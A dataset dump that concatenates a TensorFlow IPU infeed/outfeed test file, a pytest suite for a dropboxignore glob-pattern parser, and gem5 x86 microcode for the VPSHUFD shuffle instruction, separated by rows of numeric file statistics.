testSingleOutfeedWithBatchingFinalNonTupleRearrangeHost(self): b_count = 4 outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), io_batch_size=b_count, outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(a, b): c = math_ops.matmul(a, b) outfeed = outfeed_queue.enqueue(c) return (a, b, outfeed) def my_net(a, b): r = ipu.loops.repeat(8, body, (a, b)) return r with ops.device('cpu'): a = array_ops.placeholder(np.float32, [1024, 256]) b = array_ops.placeholder(np.float32, [256, 512]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[a, b]) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: report = tu.ReportJSON(self, sess, always_rearrange_copies_on_the_host=True) report.reset() fd = {a: np.ones(a.shape), b: np.zeros(b.shape)} sess.run(res, fd) outfed = sess.run(outfeed) # The convolution output expected = np.zeros([1024, 512]) self.assertAllClose(outfed, expected) report.parse_log() report.assert_max_tile_memory(50645) report.assert_total_tile_memory(56489822) total_outfeeds = 0 for s in report.get_execution_reports()[0]['simulation']['steps']: if s['type'] == 'StreamCopy': # batch x shape=[1024*256] floats if s['totalData'] == b_count * 1024 * 512 * 4: total_outfeeds = total_outfeeds + 1 self.assertEqual(total_outfeeds, 8 // b_count) @test_util.deprecated_graph_mode_only def testInfeedDeleteBeforeInitializeShouldRaiseException(self): dataset = tu.create_single_increasing_dataset(10) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, "delete_name") delete_op = infeed_queue.deleter with session_lib.Session() as sess: with self.assertRaisesRegex(errors_impl.NotFoundError, "Infeed with id='delete_name'"): sess.run(delete_op) @test_util.deprecated_graph_mode_only def testInfeedNameCanBeReusedAfterDeletion(self): for _ in range(2): dataset = tu.create_single_increasing_dataset(10) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, "reuse_name") with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(infeed_queue.deleter) @test_util.deprecated_graph_mode_only def testInfeedRestart(self): # Note: This is not something that we encourage or need to support, # but it is the current behaviour that we document in this test: # The infeed can be restarted by calling the `deleter` and then the # `initializer` again. def data_gen(): for i in range(5): yield i dataset = dataset_ops.Dataset.from_generator(data_gen, np.float32, ()) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, "reuse_name") init_op = infeed_queue.initializer delete_op = infeed_queue.deleter def body(v, x): v = v + x return v def my_net(v): r = ipu.loops.repeat(5, body, (v), infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): [res] = ipu.ipu_compiler.compile(my_net, inputs=[0.0]) with session_lib.Session() as sess: for _ in range(2): sess.run(init_op) self.assertEqual(sum(range(5)), sess.run(res)) sess.run(delete_op) @test_util.deprecated_graph_mode_only def testInfeedOutfeedContinuousDequeuing(self): num_iterations = 1000 dataset = tu.create_single_increasing_dataset(num_iterations, shape=[1]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(x): return outfeed_queue.enqueue(x) def my_net(): return ipu.loops.repeat(num_iterations, body, [], infeed_queue) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: def dequeue(result): while len(result) != 1000: r = sess.run(outfed) if r.size: result.extend(list(r.flatten())) sess.run(infeed_queue.initializer) r = [] dequeue_thread = Thread(target=dequeue, args=[r]) dequeue_thread.start() sess.run(res) dequeue_thread.join() self.assertAllClose(r, range(0, 1000)) @test_util.deprecated_graph_mode_only def testInfeedOutfeedContinuousDequeuingGetLastBeforeEnqueued(self): num_iterations = 1000 dataset = tu.create_single_increasing_dataset(num_iterations, shape=[1]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(x): return outfeed_queue.enqueue(x) def my_net(): return ipu.loops.repeat(num_iterations, body, [], infeed_queue) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(infeed_queue.initializer) with self.assertRaisesRegex(errors.FailedPreconditionError, r'Trying to get the last value from an'): sess.run(outfed) sess.run(res) @test_util.deprecated_graph_mode_only def testOutfeedDeleteBeforeExecuteShouldRaiseException(self): outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "delete_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) delete_op = outfeed_queue.deleter with session_lib.Session() as sess: with self.assertRaisesRegex(errors_impl.NotFoundError, "Outfeed with id='delete_name'"): sess.run(delete_op) @test_util.deprecated_graph_mode_only def testOutfeedNameCanBeReusedAfterDeletion(self): for _ in range(2): outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue = ipu.ipu_compiler.compile(outfeed_queue.enqueue, inputs=[1.0]) dequeue = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(enqueue) self.assertEqual(1.0, sess.run(dequeue)) sess.run(outfeed_queue.deleter) @test_util.deprecated_graph_mode_only def testOutfeedNameCanBeReusedWithSameShape(self): with session_lib.Session() as sess: outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue1 = ipu.ipu_compiler.compile(outfeed_queue1.enqueue, inputs=[1.0]) dequeue1 = outfeed_queue1.dequeue() outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue2 = ipu.ipu_compiler.compile(outfeed_queue2.enqueue, inputs=[2.0]) dequeue2 = outfeed_queue2.dequeue() sess.run(enqueue1) self.assertEqual(1.0, sess.run(dequeue1)) sess.run(enqueue2) self.assertEqual(2.0, sess.run(dequeue2)) sess.run(outfeed_queue1.deleter) # Can only deregister it once with self.assertRaisesRegex(errors.NotFoundError, "Outfeed with id='reuse_name'"): sess.run(outfeed_queue2.deleter) @test_util.deprecated_graph_mode_only def testOutfeedNameCannotBeReusedWithDifferentShape(self): with session_lib.Session() as sess: outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue1 = ipu.ipu_compiler.compile(outfeed_queue1.enqueue, inputs=[1.0]) dequeue1 = outfeed_queue1.dequeue() outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue2 = ipu.ipu_compiler.compile(outfeed_queue2.enqueue, inputs=[[1.0, 1.0]]) sess.run(enqueue1) self.assertEqual(1.0, sess.run(dequeue1)) with self.assertRaisesRegex( errors.FailedPreconditionError, "Outfeed with id='reuse_name' already exists but with a different"): sess.run(enqueue2) sess.run(outfeed_queue1.deleter) @test_util.deprecated_graph_mode_only def testOutfeedNameCannotBeReusedWithDifferentType(self): with session_lib.Session() as sess: outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue1 = ipu.ipu_compiler.compile(outfeed_queue1.enqueue, inputs=[1.0]) dequeue1 = outfeed_queue1.dequeue() outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( "reuse_name", outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) with ipu.scopes.ipu_scope("/device:IPU:0"): enqueue2 = ipu.ipu_compiler.compile(outfeed_queue2.enqueue, inputs=[[1]]) sess.run(enqueue1) self.assertEqual(1.0, sess.run(dequeue1)) with self.assertRaisesRegex( errors.FailedPreconditionError, "Outfeed with id='reuse_name' already exists but with a different"): sess.run(enqueue2) sess.run(outfeed_queue1.deleter) @test_util.deprecated_graph_mode_only def testInfeedOutfeedScalarPrefetchAndBuffer(self): number_of_batches = 4 num_iterations = 100 dataset = tu.create_single_increasing_dataset(num_iterations, shape=[]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue( dataset, next_feed_id(), data_to_prefetch=number_of_batches) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), io_batch_size=number_of_batches) def body(a): outfeed = outfeed_queue.enqueue(a) return outfeed def my_net(): r = ipu.loops.repeat(num_iterations, body, infeed_queue=infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(res) outfed = sess.run(outfeed) self.assertAllClose(outfed, range(num_iterations)) @test_util.deprecated_graph_mode_only def testCannotFeedInt64(self): dataset = dataset_ops.Dataset.range(5) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, x): v = v + math_ops.cast(x, np.int32) return v def my_net(): r = ipu.loops.repeat(5, body, (0,), infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): ipu.ipu_compiler.compile(my_net, inputs=[]) with session_lib.Session() as sess: with self.assertRaisesRegex( errors.FailedPreconditionError, "Unsupprted datatype int64 on index 0 of feed operation"): sess.run(infeed_queue.initializer) @test_util.deprecated_graph_mode_only def testFeedBools(self): left = [False, False, True, True] right = [False, True, False, True] dataset = dataset_ops.Dataset.from_tensor_slices((left, right)) dataset = dataset.batch(2, drop_remainder=True) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(l, r): return outfeed_queue.enqueue(math_ops.logical_and(l, r)) def my_net(): return ipu.loops.repeat(2, body, infeed_queue=infeed_queue) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) dequeued = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(res) out = sess.run(dequeued) self.assertAllEqual(np.logical_and(left, right), np.concatenate(out)) @test_util.deprecated_graph_mode_only def testHashTableInDataPipeline(self): keys = constant_op.constant(["brain", "salad", "surgery"]) values = constant_op.constant([0, 1, 2], np.int32) table = lookup_ops.StaticHashTableV1( initializer=lookup_ops.KeyValueTensorInitializer(keys, values), default_value=-1) dataset = dataset_ops.Dataset.from_tensor_slices( ["brain brain tank salad surgery".split()]) dataset = dataset.map(table.lookup) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def my_net(): return infeed_queue._dequeue() # pylint: disable=protected-access with ipu.scopes.ipu_scope("/device:IPU:0"): [res] = ipu.ipu_compiler.compile(my_net) with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(table.initializer) self.assertAllEqual([0, 0, -1, 1, 2], sess.run(res)) if __name__ == "__main__": googletest.main()
34.594059
83
0.659309
7,532
55,904
4.699681
0.062002
0.022035
0.02534
0.029069
0.848014
0.825979
0.809594
0.789282
0.779253
0.761088
0
0.03182
0.214117
55,904
1,615
84
34.61548
0.773888
0.027064
0
0.765381
0
0
0.028516
0
0
0
0
0
0.107465
1
0.11813
false
0
0.016407
0.007383
0.21329
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
49869f7529b8b77fb8840f5fa102c5c77ba9259d
9,000
py
Python
tests/test_parser.py
MichalKarol/dropboxignore
3588aa514c2eb0e883f935669868a616f38bc044
[ "MIT" ]
5
2019-12-03T08:40:49.000Z
2021-07-13T16:04:19.000Z
tests/test_parser.py
MichalKarol/dropboxignore
3588aa514c2eb0e883f935669868a616f38bc044
[ "MIT" ]
1
2019-09-05T15:40:54.000Z
2019-09-11T12:19:15.000Z
tests/test_parser.py
MichalKarol/dropboxignore
3588aa514c2eb0e883f935669868a616f38bc044
[ "MIT" ]
1
2021-01-29T12:53:21.000Z
2021-01-29T12:53:21.000Z
from dropboxignore import parse_dropboxignore def test_empty_line(): # GIVEN pattern = '' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 0 def test_comment_line(): # GIVEN pattern = '#123' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 0 def test_hash_starting_line(): # GIVEN pattern = '\\#test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('#test') assert rules.ignored[0].match('test/#test') assert rules.ignored[0].match('some_more test/#test') assert rules.ignored[0].match('some_more test/#test/or\\ even more') def test_basic_pattern(): # GIVEN pattern = 'test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('tested/test') assert rules.ignored[0].match('some_more test/test') assert rules.ignored[0].match('some_more test/test/or\\ even more') def test_star_pattern(): # GIVEN pattern = '*test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('aatest/more') assert rules.ignored[0].match('some_more dir/aatest') assert rules.ignored[0].match('some_more dir/bbtest/or\\ even more') assert not rules.ignored[0].match('some_more dir/bbtestcc/or\\ even more') def test_star_pattern_both_side(): # GIVEN pattern = '*test*' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('aatest/more') assert rules.ignored[0].match('some_more dir/aatest') assert rules.ignored[0].match('some_more dir/bbtest/or\\ even more') assert rules.ignored[0].match('some_more dir/bbtestcc/or\\ even more') def test_star_pattern_inside(): # GIVEN pattern = 'te*st' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('teaast/more') assert rules.ignored[0].match('some_more dir/teaast') assert rules.ignored[0].match('some_more dir/tebbst/or\\ even more') assert not rules.ignored[0].match('some_more dir/teccstss/or\\ even more') def test_qmark_pattern(): # GIVEN pattern = '?test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert not rules.ignored[0].match('test') assert rules.ignored[0].match('atest/more') assert not rules.ignored[0].match('aatest/more') assert rules.ignored[0].match('some_more dir/atest') assert not rules.ignored[0].match('some_more dir/aatest') assert rules.ignored[0].match('some_more dir/btest/or\\ even more') assert not rules.ignored[0].match('some_more dir/btestc/or\\ even more') def test_qmark_pattern_both_side(): # GIVEN pattern = '?test?' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert not rules.ignored[0].match('test') assert rules.ignored[0].match('atesta/more') assert not rules.ignored[0].match('aatesta/more') assert rules.ignored[0].match('some_more dir/atesta') assert not rules.ignored[0].match('some_more dir/aatesta') assert rules.ignored[0].match('some_more dir/btestb/or\\ even more') assert not rules.ignored[0].match('some_more dir/bbtestc/or\\ even more') def test_qmark_pattern_inside(): # GIVEN pattern = 'te?st' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert not rules.ignored[0].match('test') assert rules.ignored[0].match('teast/more') assert not rules.ignored[0].match('teaast/more') assert rules.ignored[0].match('some_more dir/teast') assert not rules.ignored[0].match('some_more dir/teaast') assert rules.ignored[0].match('some_more dir/tebst/or\\ even more') assert not rules.ignored[0].match('some_more dir/tebbcst/or\\ even more') def test_double_star_pattern_begin(): # GIVEN pattern = '**/test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('test/more') assert not rules.ignored[0].match('atest/more') assert rules.ignored[0].match('some_more dir/test') assert not rules.ignored[0].match('some_more dir/atest') assert rules.ignored[0].match('some_more dir/test/or\\ even more') assert not rules.ignored[0].match('some_more dir/testa/or\\ even more') def test_double_star_pattern_end(): # GIVEN pattern = 'test/**' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert rules.ignored[0].match('test/more') assert not rules.ignored[0].match('testa/more') assert rules.ignored[0].match('some_more dir/test') assert not rules.ignored[0].match('some_more dir/testa') assert rules.ignored[0].match('some_more dir/test/or\\ even more') assert not rules.ignored[0].match('some_more dir/atesta/or\\ even more') def test_double_star_pattern_inside(): # GIVEN pattern = 'a/**/test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert not rules.ignored[0].match('test') assert not rules.ignored[0].match('test/more') assert rules.ignored[0].match('a/test/more') assert not rules.ignored[0].match('a/testa/more') assert not rules.ignored[0].match('some_more dir/test') assert not rules.ignored[0].match('some_more dir/testa') assert rules.ignored[0].match('a/some_more dir/test') assert not rules.ignored[0].match('some_more dir/test/or\\ even more') assert not rules.ignored[0].match('some_more dir/atesta/or\\ even more') assert rules.ignored[0].match('a/some/some_more dir/test/or\\ even more') def test_whatespaces(): # GIVEN pattern = 'test\\ and\\ whitespace' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test and whitespace') assert rules.ignored[0].match('aaa/test and whitespace') assert rules.ignored[0].match('aaa/test and whitespace/more') def test_ranges(): # GIVEN pattern = 'test[0-9]' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test1') assert rules.ignored[0].match('aaa/test2') assert rules.ignored[0].match('aaa/test0/more') assert not rules.ignored[0].match('aaa/test00/more') assert not rules.ignored[0].match('aaa/testa/more') def test_set(): # GIVEN pattern = 'test[09]' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test0') assert rules.ignored[0].match('aaa/test9') assert rules.ignored[0].match('aaa/test0/more') assert not rules.ignored[0].match('aaa/test1/more') assert not rules.ignored[0].match('aaa/test5/more') def test_not_set(): # GIVEN pattern = 'test[!09]' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test1') assert not rules.ignored[0].match('test0') assert not rules.ignored[0].match('test9') def test_not_set_with_set(): # GIVEN pattern = 'test[!09][09]' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test10') assert not rules.ignored[0].match('test01') assert not rules.ignored[0].match('test91') def test_starting_with_exclamation(): # GIVEN pattern = '\\!test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('!test') assert rules.ignored[0].match('a/!test') assert rules.ignored[0].match('a/!test/more') def test_starting_with_slash(): # GIVEN pattern = '/test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.ignored) == 1 assert rules.ignored[0].match('test') assert not rules.ignored[0].match('a/test') assert not rules.ignored[0].match('a/test/more') def test_exclude_basic(): # GIVEN pattern = '!test' # WHEN rules = parse_dropboxignore([pattern]) # THEN assert len(rules.excluded) == 1 assert rules.excluded[0].match('test') assert rules.excluded[0].match('a/test') assert rules.excluded[0].match('a/test/more')
27.355623
78
0.662111
1,255
9,000
4.65498
0.064542
0.232112
0.2114
0.286546
0.92126
0.90962
0.881034
0.850736
0.789113
0.757104
0
0.020333
0.185778
9,000
328
79
27.439024
0.776883
0.037222
0
0.39779
0
0
0.203697
0
0
0
0
0
0.646409
1
0.116022
false
0
0.005525
0
0.121547
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
10
498b1a2a5d9bfa09a3813bc1bf4c0cf4a6a955ac
151
py
Python
meg_runtime/ui/__init__.py
ibedard16/Runtime
c2901c36c79bbe835fbe9c94e4500d46eea26f01
[ "MIT" ]
null
null
null
meg_runtime/ui/__init__.py
ibedard16/Runtime
c2901c36c79bbe835fbe9c94e4500d46eea26f01
[ "MIT" ]
null
null
null
meg_runtime/ui/__init__.py
ibedard16/Runtime
c2901c36c79bbe835fbe9c94e4500d46eea26f01
[ "MIT" ]
null
null
null
from meg_runtime.ui.clonepanel import ClonePanel from meg_runtime.ui.repopanel import RepoPanel from meg_runtime.ui.manager import UIManager, ui_run
25.166667
52
0.854305
23
151
5.434783
0.434783
0.168
0.336
0.384
0
0
0
0
0
0
0
0
0.099338
151
5
53
30.2
0.919118
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
4997a0f97b4d6ff583a127cfb2aef4cc9db727c7
1,326
py
Python
apps/mappings/migrations/0005_auto_20210517_1650.py
fylein/fyle-intacct-api
16e45538ec3a2b7af396742a42302704c33a7bd7
[ "MIT" ]
null
null
null
apps/mappings/migrations/0005_auto_20210517_1650.py
fylein/fyle-intacct-api
16e45538ec3a2b7af396742a42302704c33a7bd7
[ "MIT" ]
3
2020-07-20T10:54:15.000Z
2022-02-23T17:13:49.000Z
apps/mappings/migrations/0005_auto_20210517_1650.py
fylein/fyle-intacct-api
16e45538ec3a2b7af396742a42302704c33a7bd7
[ "MIT" ]
2
2020-07-25T14:50:56.000Z
2020-08-02T13:48:37.000Z
# Generated by Django 3.0.3 on 2021-05-17 16:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mappings', '0004_auto_20210208_0548'), ] operations = [ migrations.AddField( model_name='generalmapping', name='default_ccc_expense_payment_type_id', field=models.CharField(help_text='Default Expense Payment Type ID for ccc expenses', max_length=255, null=True), ), migrations.AddField( model_name='generalmapping', name='default_ccc_expense_payment_type_name', field=models.CharField(help_text='Default Expense Payment Type Name for ccc expenses', max_length=255, null=True), ), migrations.AddField( model_name='generalmapping', name='default_reimbursable_expense_payment_type_id', field=models.CharField(help_text='Default Expense Payment Type ID for reimbursable expenses', max_length=255, null=True), ), migrations.AddField( model_name='generalmapping', name='default_reimbursable_expense_payment_type_name', field=models.CharField(help_text='Default Expense Payment Type Name for reimbursable expenses', max_length=255, null=True), ), ]
39
135
0.668175
149
1,326
5.711409
0.315436
0.13161
0.169213
0.12691
0.822562
0.822562
0.822562
0.822562
0.761457
0.761457
0
0.042659
0.239819
1,326
33
136
40.181818
0.801587
0.033937
0
0.444444
1
0
0.362002
0.144644
0
0
0
0
0
1
0
false
0
0.037037
0
0.148148
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
771ecafe652ff559445c16a4ef4abc955a94912b
2,231
py
Python
data_iter2/inference_data/2_check_label_integrety.py
zjsuper/cancerber_ner
e84e70ea08c267310ebd7acdf127d5357bfd63a4
[ "Apache-2.0" ]
null
null
null
data_iter2/inference_data/2_check_label_integrety.py
zjsuper/cancerber_ner
e84e70ea08c267310ebd7acdf127d5357bfd63a4
[ "Apache-2.0" ]
null
null
null
data_iter2/inference_data/2_check_label_integrety.py
zjsuper/cancerber_ner
e84e70ea08c267310ebd7acdf127d5357bfd63a4
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Thu Apr 22 15:20:04 2021 @author: zhou1281 """ ##check label integrety labels = [] count = 0 with open('train.txt') as f: lines = f.readlines() for i in lines: count += 1 if i == "\n": pass else: line = i.split(' ') if len(line) != 2: print(line,count) else: if len(line[1])<2: print(line,count) else: labels.append(line[1].strip()) labels = list(set(labels)) labels = [] count = 0 with open('dev.txt') as f: lines = f.readlines() for i in lines: count += 1 if i == "\n": pass else: line = i.split(' ') if len(line) != 2: print(line,count) else: if len(line[1])<2: print(line,count) else: labels.append(line[1].strip()) labels = list(set(labels)) labels = [] count = 0 with open('test.txt') as f: lines = f.readlines() for i in lines: count += 1 if i == "\n": pass else: line = i.split(' ') if len(line) != 2: print(line,count) else: if len(line[1])<2: print(line,count) else: labels.append(line[1].strip()) labels = list(set(labels)) #with open('dev.txt') as f , open('dev1.txt','wt') as out_put: # lines = f.readlines() # for i in lines: # if i == "\n": # out_put.write('') # out_put.write('\n') # else: # line = i.split('\t') # out_put.write(line[0]+' '+line[1]) # #with open('test.txt') as f , open('test1.txt','wt') as out_put: # lines = f.readlines() # for i in lines: # if i == "\n": # out_put.write('') # out_put.write('\n') # else: # line = i.split('\t') # out_put.write(line[0]+' '+line[1])
25.352273
65
0.394442
257
2,231
3.392996
0.210117
0.045872
0.061927
0.103211
0.894495
0.87156
0.823395
0.823395
0.823395
0.823395
0
0.033662
0.454056
2,231
88
66
25.352273
0.682266
0.298521
0
0.944444
0
0
0.022759
0
0
0
0
0
0
1
0
false
0.055556
0
0
0
0.111111
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
774f67ec19864053e69d8832020c38829c0d9557
2,058
py
Python
src/arch/x86/isa/insts/simd512/floating_point/data_transfer/vpshufd.py
jyhuang91/gem5-avx
f988da46080f8db49beb39e20af437219f3aa4cb
[ "BSD-3-Clause" ]
2
2021-01-15T17:32:18.000Z
2021-12-21T02:53:58.000Z
src/arch/x86/isa/insts/simd512/floating_point/data_transfer/vpshufd.py
jyhuang91/gem5-avx
f988da46080f8db49beb39e20af437219f3aa4cb
[ "BSD-3-Clause" ]
3
2021-03-26T20:33:59.000Z
2022-01-24T22:54:03.000Z
src/arch/x86/isa/insts/simd512/floating_point/data_transfer/vpshufd.py
jyhuang91/gem5-avx
f988da46080f8db49beb39e20af437219f3aa4cb
[ "BSD-3-Clause" ]
3
2021-03-27T16:36:19.000Z
2022-03-28T18:32:57.000Z
microcode = ''' def macroop VPSHUFD_XMM_XMM_I { shuffle ufp1, xmm0m, xmm1m, size=4, ext="IMMEDIATE" shuffle xmm1, xmm0m, xmm1m, size=4, ext="IMMEDIATE >> 4" movfp xmm0, ufp1, dataSize=8 }; def macroop VPSHUFD_XMM_M_I { ldfp ufp1, seg, sib, "DISPLACEMENT", dataSize=8 ldfp ufp2, seg, sib, "DISPLACEMENT + 8", dataSize=8 shuffle xmm0, ufp1, ufp2, size=4, ext="IMMEDIATE" shuffle xmm1, ufp1, ufp2, size=4, ext="IMMEDIATE >> 4" }; def macroop VPSHUFD_XMM_P_I { rdip t7 ldfp ufp1, seg, riprel, "DISPLACEMENT", dataSize=8 ldfp ufp2, seg, riprel, "DISPLACEMENT + 8", dataSize=8 shuffle xmm0, ufp1, ufp2, size=4, ext="IMMEDIATE" shuffle xmm1, ufp1, ufp2, size=4, ext="IMMEDIATE >> 4" }; def macroop VPSHUFD_YMM_YMM_I { shuffle ufp1, xmm0m, xmm1m, size=4, ext="IMMEDIATE" shuffle xmm1, xmm0m, xmm1m, size=4, ext="IMMEDIATE >> 4" shuffle ufp2, xmm2m, xmm3m, size=4, ext="IMMEDIATE" shuffle xmm3, xmm2m, xmm3m, size=4, ext="IMMEDIATE >> 4" movfp xmm0, ufp1, dataSize=8 movfp xmm2, ufp2, dataSize=8 }; def macroop VPSHUFD_YMM_M_I { ldfp ufp1, seg, sib, "DISPLACEMENT", dataSize=8 ldfp ufp2, seg, sib, "DISPLACEMENT + 8", dataSize=8 ldfp ufp3, seg, sib, "DISPLACEMENT + 16", dataSize=8 ldfp ufp4, seg, sib, "DISPLACEMENT + 24", dataSize=8 shuffle xmm0, ufp1, ufp2, size=4, ext="IMMEDIATE" shuffle xmm1, ufp1, ufp2, size=4, ext="IMMEDIATE >> 4" shuffle xmm2, ufp3, ufp4, size=4, ext="IMMEDIATE" shuffle xmm3, ufp3, ufp4, size=4, ext="IMMEDIATE >> 4" }; def macroop VPSHUFD_YMM_P_I { rdip t7 ldfp ufp1, seg, riprel, "DISPLACEMENT", dataSize=8 ldfp ufp2, seg, riprel, "DISPLACEMENT + 8", dataSize=8 ldfp ufp3, seg, riprel, "DISPLACEMENT + 16", dataSize=8 ldfp ufp4, seg, riprel, "DISPLACEMENT + 24", dataSize=8 shuffle xmm0, ufp1, ufp2, size=4, ext="IMMEDIATE" shuffle xmm1, ufp1, ufp2, size=4, ext="IMMEDIATE >> 4" shuffle xmm2, ufp3, ufp4, size=4, ext="IMMEDIATE" shuffle xmm3, ufp3, ufp4, size=4, ext="IMMEDIATE >> 4" }; '''
36.75
60
0.660836
301
2,058
4.458472
0.126246
0.067064
0.107303
0.228018
0.941133
0.909091
0.868107
0.801043
0.801043
0.783905
0
0.07767
0.199223
2,058
56
61
36.75
0.73665
0
0
0.693878
0
0
0.990772
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
